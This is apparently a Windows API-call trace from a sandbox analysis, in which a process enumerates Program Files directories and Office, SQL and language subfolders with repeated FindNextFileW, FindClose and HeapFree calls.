	[0078.291] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0
	[0078.291] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0078.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.292] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1
	[0078.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.294] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0078.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.294] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0078.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.294] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0078.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.295] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0078.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.295] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0078.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.295] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0078.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.295] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0078.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.295] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0078.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.296] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0078.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.296] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0078.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.296] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0078.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.296] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0
	[0078.296] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0078.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.297] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0078.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.297] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0078.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.298] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0078.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.298] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0078.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1
	[0078.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1
	[0078.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0078.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1
	[0078.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.301] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0078.301] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0078.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.301] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0078.301] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.301] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0078.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0078.302] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0078.302] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0078.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0078.302] FindClose (in: hFindFile=0x5e0a30 | out: hFindFile=0x5e0a30) returned 1
	[0078.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.304] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1
	[0078.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.304] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0078.304] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.305] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0
	[0078.305] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0078.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0078.305] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1
	[0078.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.355] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0078.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0078.357] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0078.357] FindClose (in: hFindFile=0x5e09f0 | out: hFindFile=0x5e09f0) returned 1
	[0078.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.357] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0078.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.357] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0078.357] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.359] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0078.360] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0078.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
